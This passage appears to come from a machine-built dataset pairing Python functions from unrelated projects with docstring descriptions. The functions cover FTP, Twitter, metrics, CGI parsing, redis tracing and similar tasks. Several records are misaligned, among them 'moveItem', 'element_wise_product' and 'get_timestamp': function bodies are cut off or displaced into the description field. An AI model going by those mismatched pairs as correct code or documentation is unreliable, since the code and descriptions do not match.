Counts\")\n", "nl": "Test the mapping of meta-information for SEED files. This will beexactly identical for XML-SEED files so no need to test these as well."} {"code": "def test_wasSuccessfulFalseAfterFailures(self):\n try:\n self.fail(\"foo\")\n except self.failureException:\n self.result.addFailure(self.test, sys.exc_info())\n self.assertEqual(False, self.result.wasSuccessful())\n\n\n\nclass ReporterTests(ReporterInterfaceTests):\n \"\"\"\n", "nl": "wasSuccessful() becomes False after failures have been reported."} {"code": "def abort(self):\n line = 'ABOR' + CRLF\n if self.debugging > 1: print '*put urgent*', self.sanitize(line)\n self.sock.sendall(line, MSG_OOB)\n resp = self.getmultiline()\n if resp[:3] not in ('426', '225', '226'):\n raise error_proto, resp\n", "nl": "Abort a file transfer. Uses out-of-band data.This does not follow the procedure from the RFC to send TelnetIP and Synch; that doesn't seem to work with the servers I'vetried. Instead, just send the ABOR command as OOB data."} {"code": "def moveItem(self, item, after=None):\n key = '/library/metadata/%s%s' % (self.ratingKey, utils.joinArgs({'title': title, 'summary': summary}))\n result = self._server.query(key, method=self._server._session.put)\n self.reload()\n return result\n", "nl": " Move a to a new position in playlist. key = '%s/items/%s/move' % (self.key, item.playlistItemID)if after:key += '?after=%s' % after.playlistItemIDresult = self._server.query(key, method=self._server._session.put)self.reload()return resultdef edit(self, title=None, summary=None): Edit playlist. "} {"code": "def device_removed_from_mode(self, mode: Mode) -> None:\n del mode\n self.mode = None", "nl": "Remove device because mode is unloading.Device object will continue to exist and may be added to the mode again later.Args:----mode: Mode which stopped"} {"code": "def itoa(value, alphabet, padding=None):\n if value < 0:\n raise ValueError(\"Only positive numbers are allowed\")\n elif value == 0:\n return alphabet[0]\n\n result = \"\"\n base = len(alphabet)\n\n while value:\n value, rem = divmod(value, base)\n result = alphabet[rem] + result\n\n if padding:\n fill = max(padding - len(result), 0)\n result = (alphabet[0] * fill) + result\n\n return result\n\n", "nl": "Converts an int value to a str, using the given alphabet.Padding can be computed as: ceil(log of max_val base alphabet_len)"} {"code": "def element_wise_product(X, Y):\n", "nl": "Return vector as an element-wise product of vectors X and Yassert len(X) == len(Y)return [x * y for x, y in zip(X, Y)]def matrix_multiplication(X_M, *Y_M):Return a matrix as a matrix-multiplication of X_M and arbitary number of matrices *Y_M"} {"code": "def _parse_record_l(self, line, event):\n origin = event.origins[0]\n semi_major_axis_azimuth = self._float(line[2:8])\n if semi_major_axis_azimuth is None:\n return\n semi_major_axis_plunge = self._float(line[8:13])\n semi_major_axis_length = self._float(line[13:21])\n intermediate_axis_azimuth = self._float(line[21:27])\n intermediate_axis_plunge = self._float(line[27:32])", "nl": "Parses the '90 percent error ellipse' record L"} {"code": "def GetUserTimeline(self, user=None, count=None, since=None):\n try:\n if count:\n int(count)\n except:\n raise TwitterError(\"Count must be an integer\")\n parameters = {}\n if count:\n parameters['count'] = count\n if since:\n parameters['since'] = since\n if user:\n url = 'http://twitter.com/statuses/user_timeline/%s.json' % user\n elif not user and not self._username:\n raise TwitterError(\"User must be specified if API is not authenticated.\")\n else:\n url = 'http://twitter.com/statuses/user_timeline.json'\n json = self._FetchUrl(url, parameters=parameters)\n data = simplejson.loads(json)\n return [Status.NewFromJsonDict(x) for x in data]\n", "nl": "Fetch the sequence of public twitter.Status messages for a single user.The twitter.Api instance must be authenticated if the user is private.Args:user:either the username (short_name) or id of the user to retrieve. Ifnot specified, then the current authenticated user is used. [optional]count: the number of status messages to retrieve [optional]since:Narrows the returned results to just those statuses createdafter the specified HTTP-formatted date. [optional]Returns:A sequence of twitter.Status instances, one for each message up to count"} {"code": "def _fullstr(self):\n self_desc = list()\n for k, v in sorted(iter(self.__dict__.items()), key=lambda x_v: (0, x_v[0], x_v[1]) if x_v[0] == \"_name\" else (1, x_v[0], x_v[1])):\n indent = \" \" if k != \"_name\" else \"\"\n if k in (\"_inward\", \"_outward\"):\n v = \",\".join([x._name for x in v])\n self_desc.append(indent + str(k) + \"=\" + str(v))\n else:\n self_desc.append(indent + str(k) + \"=\" + str(v))\n return \"\\n\".join(self_desc)\n\n\n", "nl": "Full dump. Normally edges are not printed outEverything is indented except name"} {"code": "def manual_metric(self):\n\n if self.initial_manual_metric:\n if (\n isinstance(self.initial_manual_metric, int)\n and self.initial_manual_metric > 0\n ):\n self._manual_metric = self.initial_manual_metric\n self.initial_manual_metric = None\n else:\n msg = (\n \"RSVP LSP metric must be positive integer value. Or, set manual_metric \"\n \"to -1 to clear the manual_metric and have the LSP inherit \"", "nl": "Manual metric for LSP. If set, this value will overridethe default (shortest path) metric for effective_metric.This value must be a positive integer.To restore the LSP's default metric (that of the shortest path) in alive simulation, set this value to -1."} {"code": "def get_timestamp(value):\n hours = value\n\n start_time = (datetime.now() - timedelta(hours=hours)).timestamp()\n ctx.params['start_time'] = start_time\n\n\nclass CsvList(click.ParamType):\n name = 'Csv-List'\n", "nl": "Return timestamp from a human readable dateif not value:return# If already a timestamp return a floattry:timestamp = float(value)return timestampexcept ValueError:pass# Convert human readable string to timestampcal = pdt.Calendar()timestamp = (cal.parseDT(value)[0]).timestamp()return timestampdef set_start_time(ctx, param, value):if 'start_time' in ctx.params and ctx.params['start_time'] is not None:return ctx.params['start_time']return get_timestamp(value)def set_end_time(ctx, param, value):return get_timestamp(value)def set_relative_start_time(ctx, param, value):Overrides start time relative to number of {value} hours"} {"code": "def on_update(self, delta_time):\n Scroll the window to the player.\n\n if CAMERA_SPEED is 1, the camera will immediately move to the desired position.\n Anything between 0 and 1 will have the camera move to the location with a smoother\n pan.\n \"\"\"", "nl": " Movement and game logic # Call update on all sprites (The sprites don't do much in this# example though.)self.physics_engine.update()# Scroll the screen to the playerself.scroll_to_player()hit_list = arcade.check_for_collision_with_list(self.player_sprite, self.bomb_list)for bomb in hit_list:# Remove the bomb and go 'boom'bomb.remove_from_sprite_lists()self.explosion_sound.play()# --- Shake the camera ---# Pick a random directionshake_direction = random.random() * 2 * math.pi# How 'far' to shakeshake_amplitude = 10# Calculate a vector based on thatshake_vector = (math.cos(shake_direction) * shake_amplitude,math.sin(shake_direction) * shake_amplitude)# Frequency of the shakeshake_speed = 1.5# How fast to damp the shakeshake_damping = 0.9# Do the shakeself.camera_sprites.shake(shake_vector,speed=shake_speed,damping=shake_damping)def scroll_to_player(self):"} {"code": "def describe_resources_function_name(self, resource_name):\n s = AwsService.describe_resources_function_name(self, resource_name)\n return s.replace(\"describe_\", \"list_\")\n\n @staticmethod", "nl": "Returns the name of the boto client method call to retrieve the specified resource.:param resource_name::return: Name of the boto3 client function to retrieve the specified resource type"} {"code": "def begin_poly(self):\n self._poly = [self._position]\n self._creatingPoly = True\n", "nl": "Start recording the vertices of a polygon.No argument.Start recording the vertices of a polygon. Current turtle positionis first point of polygon.Example (for a Turtle instance named turtle):>>> turtle.begin_poly()"} {"code": "def ap_per_class(tp, conf, pred_cls, target_cls):\n\n i = np.argsort(-conf)\n tp, conf, pred_cls = tp[i], conf[i], pred_cls[i]\n\n unique_classes = np.unique(target_cls)\n\n ap, p, r = [], [], []\n for c in unique_classes:\n i = pred_cls == c\n n_gt = (target_cls == c).sum()\n n_p = i.sum()\n\n\n if n_p == 0 and n_gt == 0:\n continue\n elif n_p == 0 or n_gt == 0:\n ap.append(0)\n r.append(0)\n p.append(0)\n else:\n fpc = (1 - tp[i]).cumsum()\n tpc = (tp[i]).cumsum()\n\n recall_curve = tpc / (n_gt + 1e-16)\n r.append(recall_curve[-1])\n\n precision_curve = tpc / (tpc + fpc)\n p.append(precision_curve[-1])\n\n ap.append(compute_ap(recall_curve, precision_curve))\n\n p, r, ap = np.array(p), np.array(r), np.array(ap)\n f1 = 2 * p * r / (p + r + 1e-16)\n\n return p, r, ap, f1, unique_classes.astype(\"int32\")\n\n", "nl": " Compute the average precision, given the recall and precision curves.Source: https://github.com/rafaelpadilla/Object-Detection-Metrics.# Argumentstp:\tTrue positives (list).conf: Objectness value from 0-1 (list).pred_cls: Predicted object classes (list).target_cls: True object classes (list).# ReturnsThe average precision as computed in py-faster-rcnn."} {"code": "def generate_confusables():\n url = 'ftp://ftp.unicode.org/Public/security/latest/confusables.txt'\n file = urlopen(url).read().decode('utf-8').split('\\n')", "nl": "Generates the confusables JSON data file from the unicode specification."} {"code": "def are_forms_valid(self, forms):\n for form in six.itervalues(forms):\n if not form.is_valid():\n return False\n return True\n", "nl": "Check if all forms defined in `form_classes` are valid."} {"code": "def checkPseudoCharacter(char, startIndex):\n if type(char) == type(0):\n char = startIndex + char\n if char not in pseudoCharacters:\n pseudoCharacters.add(char)\n return char\n", "nl": "Apply offset to pseudo character indices to circumvent overlappingidentifiers."} {"code": "def _shuffle_lists(self):\n one_hot = tf.one_hot(label, self.num_classes)\n\n img_string = tf.read_file(filename)\n img_decoded = tf.image.decode_png(img_string, channels=3)\n img_resized = tf.image.resize_images(img_decoded, [227, 227])\n\n img_centered = tf.subtract(img_resized, IMAGENET_MEAN)\n\n img_bgr = img_centered[:, :, ::-1]\n\n img_bgr = tf.cond(tf.random_uniform([], 0, 1) < 0.5, lambda: self.augment(img_bgr),lambda: img_bgr)\n\n return img_bgr, one_hot\n", "nl": "Conjoined shuffling of the list of paths and labels.path = self.img_pathslabels = self.labelspermutation = np.random.permutation(self.data_size)self.img_paths = []self.labels = []for i in permutation:self.img_paths.append(path[i])self.labels.append(labels[i])def _parse_function_train(self, filename, label):Input parser for samples of the training set."} {"code": "def test_service_has_template(self):\n self.core.add_api(self.eeapi)\n data = {\n 'name': self.eeapi.name_key,\n 'type': self.eeapi.type_key,\n 'id': self.eeapi.uuid_key\n }\n (response, json_body) = self.successResultOf(\n json_request(self, self.root, self.verb,\n self.uri,\n body=data,\n headers=self.headers))\n\n self.assertEqual(response.code, 409)\n self.assertEqual(json_body['conflict']['code'], 409)\n self.assertEqual(json_body['conflict']['message'],\n \"Service still has endpoint templates.\")\n", "nl": "DELETE a service that still has a template results in 409."} {"code": "def find_itype(fname, extension=None):\n\n if isinstance(fname, str):\n filename = fname\n fname = descriptor_from_file(filename, index=0)\n was_str = True\n else:\n filename = fname.name\n was_str = False\n\n if not extension:\n extension = filename.split('.')[-1]\n if extension.lower() in ['fchk', 'wfx', 'wfn']:\n return extension\n elif extension.lower() in ['numpy', 'npz', 'hdf5', 'h5']:\n return 'native'\n\n molden_regex = re.compile(r\"\\[[ ]{,}[Mm]olden[ ]+[Ff]ormat[ ]{,}\\]\")\n gamess_regex = re.compile(r\"[Gg][Aa][Mm][Ee][Ss][Ss]\")\n gaussian_regex = re.compile(r\"[Cc]opyright[,\\s\\(\\)c0-9]+[Gg]aussian\\s{,},\\s+Inc.\")\n aomix_regex = re.compile(r\"\\[[ ]{,}[Aa][Oo][Mm]ix[ ]+[Ff]ormat[ ]{,}\\]\")\n\n regexes = {'molden': molden_regex, 'gamess': gamess_regex, 'gaussian_log': gaussian_regex, 'aomix': aomix_regex}\n\n itypes = ['molden', 'gamess', 'gaussian_log', 'aomix']\n\n from io import TextIOWrapper\n if isinstance(fname, TextIOWrapper):\n text = fname.read()\n else:\n text = fname.read().decode(\"iso-8859-1\")\n fname.seek(0)\n\n for regname in itypes:\n if regexes[regname].search(text):\n return regname\n\n if was_str:\n fname.close()\n\n raise NotImplementedError('File format not reccognized or reader not implemented!')", "nl": "This function is used by the high-level readto determine what reader to use.Filetypes are determined either by extension orby looking for magic strings within the files.**Parameters:**fname: str, file descriptorSpecifies the filename for the input file.fname can also be used with a file descriptor instad of a filename.extension: str, optionalIf extension is not None it will be used to attempt determiningfiletypes by extension in place of fname.**Returns:**filetype, strFiletype for the file specified by fnamefiletypes determied from file extension:- .fchk- .wfx- .wfn- .npz- .hdf5 / .h5filetypes determined from magic strings:- Molden- Gamess US- Gaussian log- AOMix"} {"code": "def validate_value_any_of(self, config, header, directive=None):\n\n @abc.abstractmethod", "nl": "Validates that a header or directive matches one or more of a list of expected values.Args:config (CaseInsensitiveDict): The configuration of the value-any-of rule.header (str): The header to validate.directive (str): (optional) The directive to validate."} {"code": "def from_dict(self, dct):\n raise NotImplementedError\n", "nl": "The restore method that will be called when a Task Spec Converter is registered with aWorkflow Spec Converter."} {"code": "def get_measurement(self):\n\n if not self.sensor:\n self.logger.error(\"Input not set up.\")\n return None\n\n self.return_dict = copy.deepcopy(measurements_dict)\n\n measurement_range = 1\n if self.measurements_for_average:\n measurement_range = self.measurements_for_average\n\n measurement_totals = {'current':0, 'bus_v':0, 'shunt_v':0}\n", "nl": "Read INA219x sensor values (current, bus voltage, shunt voltage)"} {"code": "def solve_inner(self, data, num_epochs=1, batch_size=32):\n Args:\n data: dict of the form {'x': [list], 'y': [list]}\n '''", "nl": "Solves local optimization problemfor _ in trange(num_epochs, desc='Epoch: ', leave=False, ncols=120):for X, y in batch_data(data, batch_size):with self.graph.as_default():self.sess.run(self.train_op,feed_dict={self.features: X, self.labels: y})soln = self.get_params()comp = num_epochs * (len(data['y'])//batch_size) * batch_size * self.flopsreturn soln, compdef solve_sgd(self, mini_batch_data):with self.graph.as_default():grads, loss, _ = self.sess.run([self.grads, self.loss, self.train_op],feed_dict={self.features: mini_batch_data[0], self.labels: mini_batch_data[1]})weights = self.get_params()return grads, loss, weightsdef test(self, data):"} {"code": "def test_scaffold_send_decoding_error_raises_not_implemented_error():\n with pytest.raises(NotImplementedError):\n ErrorHandler().send_no_active_handler(None, None, None)", "nl": "Test 'send_decoding_error' raises not implemented error.with pytest.raises(NotImplementedError):ErrorHandler().send_decoding_error(None, None, None)def test_scaffold_send_no_active_handler_raises_not_implemented_error():Test 'send_no_active_handler' raises not implemented error."} {"code": "def tooltip(self, event: Any) -> Optional[str]:\n return None\n", "nl": "Return a tooltip string for the given event, or None.To be overloaded in subclasses."} {"code": "def meta_local_dist(x, y, aligned):\n eu_dist = compute_dist(x, y, 'euclidean')\n dist_mat = (np.exp(eu_dist) - 1.) / (np.exp(eu_dist) + 1.)\n if aligned:\n dist = shortest_dist(dist_mat[np.newaxis])[0]\n else:\n dist = unaligned_dist(dist_mat[np.newaxis])[0]\n return dist\n\n", "nl": "Args:x: numpy array, with shape [m, d]y: numpy array, with shape [n, d]Returns:dist: scalar"} {"code": "def cancel(self, cancel_task: task_lib.CancelTask) -> None:\n\n\nT = TypeVar('T', bound='TaskSchedulerRegistry')\n\nTaskSchedulerBuilder = Callable[\n [metadata.Metadata, pipeline_pb2.Pipeline, task_lib.Task], TaskScheduler]\n\n\nclass TaskSchedulerRegistry:\n \"\"\"A registry for task schedulers.\"\"\"", "nl": "Cancels task scheduler.This method will be invoked from a different thread than the thread that'sblocked on call to `schedule`. `cancel` must return immediately when called.Upon cancellation, `schedule` method is expected to stop any ongoing work,clean up and return as soon as possible. It's technically possible for`cancel` to be invoked before `schedule`; scheduler implementations shouldhandle this case by returning from `schedule` immediately.Args:cancel_task: The task of this cancellation."} {"code": "def merge(self, flow, keep=\"error\", allow_name_match=False):\n\n new_config = flow._config\n old_config = self._config\n\n if not allow_name_match:\n old_name_provider = old_config.providers_by_name.get(\"core__flow_name\")\n if (\n old_name_provider is not None\n and isinstance(old_name_provider, ValueProvider)\n and len(old_name_provider._value_tuples_by_case_key.keys()) == 1\n ):\n (\n (old_flow_name,),\n ) = old_name_provider._value_tuples_by_case_key.values()\n new_flow_name = flow.name\n if old_flow_name == new_flow_name and not allow_name_match:\n raise ValueError(\n oneline(\n f\"\"\"\n )\n )\n\n all_names = set(old_config.providers_by_name.keys()).union(\n new_config.providers_by_name.keys()\n )\n conflicts_by_name = {\n name: MergeConflict(old_config=old_config, new_config=new_config, name=name)\n for name in all_names\n }\n\n for conflict in conflicts_by_name.values():\n if conflict.old_provider is None:", "nl": "Updates this builder by importing all entities from another flow.If any incoming entity has the same name as an existing entity, theconflict is resolved by apply the following rules, in order:1. The name (`core__flow_name`) of this builder is never changed; theoriginal value is always kept.2. Entities that were set by default (not explicitly set by the user)are never imported and can be overwritten.3. Assignments (definitions with values) take precedence overdeclarations (definitions with no values).4. Otherwise, the ``keep`` parameter can be used to specify whichentity to keep.Parameters----------flow: FlowAny Bionic Flow.keep: 'error', 'self', or 'arg' (default: 'error')How to handle conflicting entity names. Options:* 'error': throw an ``AlreadyDefinedEntityError``* 'self' or 'old': use the definition from this builder* 'arg' or 'new': use the definition from ``flow``allow_name_match: boolean (default: False)Allows the incoming flow to have the same name as this builder.(If this is False, we handle duplicate names by throwing anexception. It's technically possible to share a name betweenflows, but it's generally not good practice.)"} {"code": "def resnet152(pretrained=False, root='~/.encoding/models', **kwargs):\n model = ResNet(Bottleneck, [3, 8, 36, 3], **kwargs)\n if pretrained:\n model.load_state_dict(torch.load(\n get_model_file('resnet152', root=root)), strict=False)\n return model", "nl": "Constructs a ResNet-152 model.Args:pretrained (bool): If True, returns a model pre-trained on ImageNet"} {"code": "def get_edit_type(word, lemma):\n Edit a word, given edit and seq2seq predictions.\n \"\"\"", "nl": " Calculate edit types. if lemma == word:return 'identity'elif lemma == word.lower():return 'lower'return 'none'def edit_word(word, pred, edit_id):"} {"code": "def state(self, statespec=None):\n if statespec is not None:\n statespec = ' '.join(statespec)\n return self.tk.splitlist(str(self.tk.call(self._w, 'state', statespec)))\n\n\nclass Button(Widget):\n \"\"\"Ttk Button widget, displays a textual label and/or image, and\n", "nl": "Modify or inquire widget state.Widget state is returned if statespec is None, otherwise it isset according to the statespec flags and then a new state specis returned indicating which flags were changed. statespec isexpected to be a sequence."} {"code": "def get_preview_256(self) -> Optional[bytes]:\n\n if self.ext in self.preview256:\n for index in self.preview256[self.ext]:\n thumbnail = self.get_indexed_preview(preview_number=index, force=True)\n if thumbnail is not None:\n return thumbnail\n\n return self.get_indexed_preview(force=False)\n", "nl": ":return: if possible, return a preview image that is preferably larger than 256pixels, else the smallest preview if it exists"} {"code": "def _windows_commondata_path():\n import ctypes\n from ctypes import wintypes, windll\n\n CSIDL_COMMON_APPDATA = 35\n\n _SHGetFolderPath = windll.shell32.SHGetFolderPathW\n _SHGetFolderPath.argtypes = [wintypes.HWND,\n ctypes.c_int,\n wintypes.HANDLE,\n wintypes.DWORD, wintypes.LPCWSTR]\n\n path_buf = wintypes.create_unicode_buffer(wintypes.MAX_PATH)\n _SHGetFolderPath(0, CSIDL_COMMON_APPDATA, 0, 0, path_buf)\n return path_buf.value\n\n", "nl": "Return the common appdata path, using ctypesFrom http://stackoverflow.com/questions/626796/\\how-do-i-find-the-windows-common-application-data-folder-using-python"} {"code": "def _test_insert_data_during_replace(self, same_address, mixed_versions=False):", "nl": "@jira_ticket CASSANDRA-8523"} {"code": "def get_in_place_lesson_editor(cls, handler):\n\n POST_SAVE_HOOKS = []\n", "nl": "Shows the lesson editor iframed inside a lesson page.if not handler.app_context.is_editable_fs():returnkey = handler.request.get('key')course = courses.Course(handler)lesson = course.find_lesson_by_id(None, key)annotations_dict = (None if lesson.has_activity else cls.HIDE_ACTIVITY_ANNOTATIONS)schema = LessonRESTHandler.get_schema(course, key)annotations_dict = schema.get_schema_dict() + annotations_dictif courses.has_only_new_style_activities(course):schema.get_property('objectives').extra_schema_dict_values['excludedCustomTags'] = set(['gcb-activity'])extra_js_files = ['lesson_editor.js', 'in_place_lesson_editor_iframe.js'] + LessonRESTHandler.EXTRA_JS_FILESform_html = oeditor.ObjectEditor.get_html_for(handler,schema.get_json_schema(),annotations_dict,key, handler.canonicalize_url(LessonRESTHandler.URI), None,additional_dirs=LessonRESTHandler.ADDITIONAL_DIRS,display_types=schema.get_display_types(),extra_css_files=LessonRESTHandler.EXTRA_CSS_FILES,extra_js_files=extra_js_files)template = handler.get_template('in_place_lesson_editor.html', [])template_values = {'form_html': form_html,'extra_css_href_list': handler.EXTRA_CSS_HREF_LIST,'extra_js_href_list': handler.EXTRA_JS_HREF_LIST}handler.response.write(template.render(template_values))class CommonUnitRESTHandler(utils.BaseRESTHandler):A common super class for all unit REST handlers."} {"code": "def __init__(self, username=None, password=None):\n Token.__init__(self)\n self.username = username\n self.password = password\n self.nonce = None\n self.created = None\n", "nl": "@param username: A username.@type username: str@param password: A password.@type password: str"} {"code": "def handle_new_handlers_and_behaviours(self) -> None:\n return await self.decision_maker_out_queue.async_get()\n", "nl": "Handle the messages from the decision maker.self._handle_new_behaviours()self._handle_new_handlers()async def get_internal_message(self) -> Optional[Message]:Get a message from decision_maker_out_queue."} {"code": "def parents(self) -> List['Prior']:\n return self._parents\n\n @property", "nl": "List of parent Priors."} {"code": "def visit(self, node, *args, **kargs):\n self.open_visit(node, *args, **kargs)\n return self.close_visit(self._visit(node))\n", "nl": "launch the visit on a given nodecall 'open_visit' before the beginning of the visit, with extra argsgivenwhen all nodes have been visited, call the 'close_visit' method"} {"code": "def read_urlencoded(self):\n ib = self.innerboundary\n if not valid_boundary(ib):\n raise ValueError('Invalid boundary in multipart form: %r' % (ib,))\n self.list = []\n if self.qs_on_post:\n query = urllib.parse.parse_qsl(\n self.qs_on_post, self.keep_blank_values, self.strict_parsing,\n encoding=self.encoding, errors=self.errors)\n for key, value in query:\n self.list.append(MiniFieldStorage(key, value))\n\n klass = self.FieldStorageClass or self.__class__\n first_line = self.fp.readline()\n if not isinstance(first_line, bytes):\n raise ValueError(\"%s should return bytes, got %s\" \\\n % (self.fp, type(first_line).__name__))\n self.bytes_read += len(first_line)\n\n while (first_line.strip() != (b\"--\" + self.innerboundary) and\n first_line):\n first_line = self.fp.readline()\n self.bytes_read += len(first_line)\n\n while True:\n parser = FeedParser()\n hdr_text = b\"\"\n while True:\n data = self.fp.readline()\n hdr_text += data\n if not data.strip():\n break\n if not hdr_text:\n break\n self.bytes_read += len(hdr_text)\n parser.feed(hdr_text.decode(self.encoding, self.errors))\n headers = parser.close()\n\n if 'content-length' in headers:\n del headers['content-length']\n\n part = klass(self.fp, headers, ib, environ, keep_blank_values,\n strict_parsing,self.limit-self.bytes_read,\n self.encoding, self.errors)\n self.bytes_read += part.bytes_read\n self.list.append(part)\n if part.done or self.bytes_read >= self.length > 0:\n break\n self.skip_lines()\n", "nl": "Internal: read data in query string format.qs = self.fp.read(self.length)if not isinstance(qs, bytes):raise ValueError(\"%s should return bytes, got %s\" \\% (self.fp, type(qs).__name__))qs = qs.decode(self.encoding, self.errors)if self.qs_on_post:qs += '&' + self.qs_on_postself.list = []query = urllib.parse.parse_qsl(qs, self.keep_blank_values, self.strict_parsing,encoding=self.encoding, errors=self.errors)for key, value in query:self.list.append(MiniFieldStorage(key, value))self.skip_lines()FieldStorageClass = Nonedef read_multi(self, environ, keep_blank_values, strict_parsing):Internal: read a part that is itself multipart."} {"code": "def detect_fault(self, body):\n fault = body.getChild('Fault', envns)\n if fault is None:\n return\n unmarshaller = self.unmarshaller(False)\n p = unmarshaller.process(fault)\n if self.options().faults:\n raise WebFault(p, fault)\n return self\n", "nl": "Detect I{hidden} soapenv:Fault element in the soap body.@param body: The soap envelope body.@type body: L{Element}@raise WebFault: When found."} {"code": "def test_all_nodes_itr(self):\n new_tree = Tree()\n self.assertEqual(len(new_tree.all_nodes_itr()), 0)\n nodes = list()\n nodes.append(new_tree.create_node('root_node'))\n nodes.append(new_tree.create_node('second', parent=new_tree.root))\n for nd in new_tree.all_nodes_itr():\n self.assertTrue(nd in nodes)\n", "nl": "tests: Tree.all_nodes_iterAdded by: William Rusnack"} {"code": "def _lengstr(obj):\n n = leng(obj)\n if n is None:\n r = _NN\n else:\n x = '!' if n > _len(obj) else _NN\n r = ' leng %d%s' % (n, x)\n return r\n\n", "nl": "Object length as a string."} {"code": "def local_reshape_dimshuffle(node):\n if isinstance(node.op, T.Reshape):\n input_ = node.inputs[0]\n if input_.owner and isinstance(input_.owner.op, DimShuffle):\n new_order = input_.owner.op.new_order\n offset = 0\n for dim in new_order:\n if dim == 'x':\n continue\n elif dim != offset:\n return False\n else:\n offset += 1\n return [T.reshape(input_.owner.inputs[0], node.inputs[1],\n ndim=node.outputs[0].ndim)]\n return False\n\n\n@register_uncanonicalize\n@gof.local_optimizer([DimShuffle])", "nl": "If a dimshuffle is inside a reshape and does not change the orderof dimensions, remove it.Reshape(Dimshuffle(x), shp) -> Reshape(x, shp)"} {"code": "def get_qsize(sqs_client, queue_url: str) -> int:\n response = sqs_client.get_queue_attributes(\n QueueUrl=queue_url, AttributeNames=[\"ApproximateNumberOfMessages\"]\n )\n return int(response[\"Attributes\"][\"ApproximateNumberOfMessages\"])\n\n\n@pytest.fixture(autouse=True)", "nl": "Returns the integer value of the ApproximateNumberOfMessages queue attribute.:param sqs_client: the boto3 client:param queue_url: the queue URL:return: the ApproximateNumberOfMessages converted to int"} {"code": "def sendData(self, channel, data):", "nl": "Record the sent data."} {"code": "def word_matches(self, word):\n return word.startswith(self.word_before_cursor)\n", "nl": "word_matches: match the owrd to the start of the text."} {"code": "def clear(self):\n self._model.clear()\n", "nl": "Clear themselves"} {"code": "def __init__(self, params):\n\t\tself.params = params\n", "nl": "This is an abstract class for a re-ranking model, e.g., learning to rank models.Args:params(dict): A dict containing some mandatory and optional parameters, such as the hyper-parameters for there-ranking model."} {"code": "def session_ended(self):\n if not HAS_GEOIP or not TRACK_USING_GEOIP:\n return\n\n if not hasattr(self, '_geoip_data'):\n self._geoip_data = None\n try:\n gip = GeoIP(cache=GEOIP_CACHE_TYPE)\n self._geoip_data = gip.city(self.ip_address)\n except GeoIPException:\n msg = 'Error getting GeoIP data for IP \"{0}\"'.format(\n self.ip_address)\n log.exception(msg)\n\n return self._geoip_data\n\n class Meta(object):\n ordering = ('-start_time',)\n permissions = (\n ('visitor_log', 'Can view visitor'),\n )\n\n\nclass Pageview(models.Model):\n visitor = models.ForeignKey(\n Visitor,\n related_name='pageviews',\n on_delete=models.CASCADE,\n )\n url = models.TextField(null=False, editable=False)\n referer = models.TextField(null=True, editable=False)\n query_string = models.TextField(null=True, editable=False)\n method = models.CharField(max_length=20, null=True)\n view_time = models.DateTimeField()\n\n objects = PageviewManager()\n\n class Meta(object):\n ordering = ('-view_time',)", "nl": "The session has ended due to an explicit logout.return bool(self.end_time)session_ended.boolean = True@propertydef geoip_data(self):Attempt to retrieve MaxMind GeoIP data based on visitor's IP."} {"code": "def peer_tags(self):\n if not hasattr(self, '_peer_tags'):\n self._peer_tags = []\n conn_info = self.connection_pool.connection_kwargs\n host = conn_info.get('host')\n if host:\n if IPV4_RE.match(host):\n self._peer_tags.append((ext_tags.PEER_HOST_IPV4, host))\n else:\n self._peer_tags.append((ext_tags.PEER_HOSTNAME, host))\n port = conn_info.get('port')\n if port:\n self._peer_tags.append((ext_tags.PEER_PORT, port))\n return self._peer_tags\n\n redis.StrictRedis.peer_tags = peer_tags\n\n for name in METHOD_NAMES:\n ORIG_METHODS[name] = getattr(redis.StrictRedis, name)\n", "nl": "Fetch the peer host/port tags for opentracing.We do this lazily and cache the result since the host/port won'tchange."} {"code": "def test_get_proportion_under_quantile_on_test_set(supply_test_set):\n test_quantile_value_list = [\n (\n 0.01,\n np.array([1.00125335, 2.00626673, 3.01253347]),\n np.array([0.99874665, 1.99373327, 2.98746653]),\n ),\n (\n 0.25,\n np.array([1.03186394, 2.15931968, 3.31863936]),\n np.array([0.96813606, 1.84068032, 2.68136064]),\n ),\n (\n 0.50,\n np.array([1.06744898, 2.33724488, 3.67448975]),\n np.array([0.93255102, 1.66275512, 2.32551025]),\n ),\n (\n 0.75,\n np.array([1.11503494, 2.57517469, 4.15034938]),\n np.array([0.88496506, 1.42482531, 1.84965062]),\n ),\n (\n 0.99,\n np.array([1.25758293, 3.28791465, 5.5758293]),\n np.array([0.74241707, 0.71208535, 0.4241707]),\n ),\n ]\n\n y_pred, y_std, y_true = supply_test_set\n\n with pytest.raises(Exception):\n bounds = get_prediction_interval(y_pred, y_std, quantile=0.0, recal_model=None)\n\n with pytest.raises(Exception):\n bounds = get_prediction_interval(y_pred, y_std, quantile=1.0, recal_model=None)\n\n for (test_q, test_upper, test_lower) in test_quantile_value_list:\n bounds = get_prediction_interval(\n y_pred, y_std, quantile=test_q, recal_model=None\n )\n upper_bound = bounds.upper\n lower_bound = bounds.lower\n assert np.max(np.abs(upper_bound - test_upper)) < 1e-6\n assert np.max(np.abs(upper_bound - test_upper)) < 1e-6\n\n", "nl": "Test get_proportion_in_interval on the test set for some dummy values.test_quantile_value_list = [(0.0, 0.0),(0.25, 0.6666666666666666),(0.5, 0.6666666666666666),(0.75, 0.6666666666666666),(1.0, 1.0),]for (test_q, test_val) in test_quantile_value_list:assert (np.abs(get_proportion_under_quantile(*supply_test_set, quantile=test_q)- test_val)< 1e-6)def test_get_prediction_interval_on_test_set(supply_test_set):Test get_prediction_interval on the test set for some dummy values."} {"code": "def open_with_encoding_check(filename): # type: ignore\n fp = io.open(filename, 'rb')\n try:\n encoding, lines = detect_encoding(fp.readline)\n fp.seek(0)\n text = io.TextIOWrapper(fp, encoding, line_buffering=True)\n text.mode = 'r'\n return text\n except:\n fp.close()\n raise\n\n", "nl": "Open a file in read only mode using the encoding detected bydetect_encoding()."} {"code": "def prepare_chunks(self, assets, data_frequency, start_dt, end_dt):\n get_start_end = get_month_start_end \\\n if data_frequency == 'minute' else get_year_start_end\n\n reader = self.get_reader(data_frequency)\n\n chunks = dict()\n for asset in assets:\n try:\n adj_start, adj_end = self.get_adj_dates(\n start_dt, end_dt, [asset], data_frequency\n )\n\n except NoDataAvailableOnExchange as e:\n log.debug('skipping {}: {}'.format(asset.symbol, e))\n continue\n\n dates = pd.date_range(\n start=get_period_label(adj_start, data_frequency),\n end=get_period_label(adj_end, data_frequency),\n freq='MS' if data_frequency == 'minute' else 'AS',\n tz=UTC\n )\n\n dates.values[0] = adj_start\n dates.values[-1] = adj_end\n\n chunks[asset] = []\n for index, dt in enumerate(dates):\n period_start, period_end = get_start_end(\n dt=dt,\n first_day=dt if index == 0 else None,\n last_day=dt if index == len(dates) - 1 else None\n 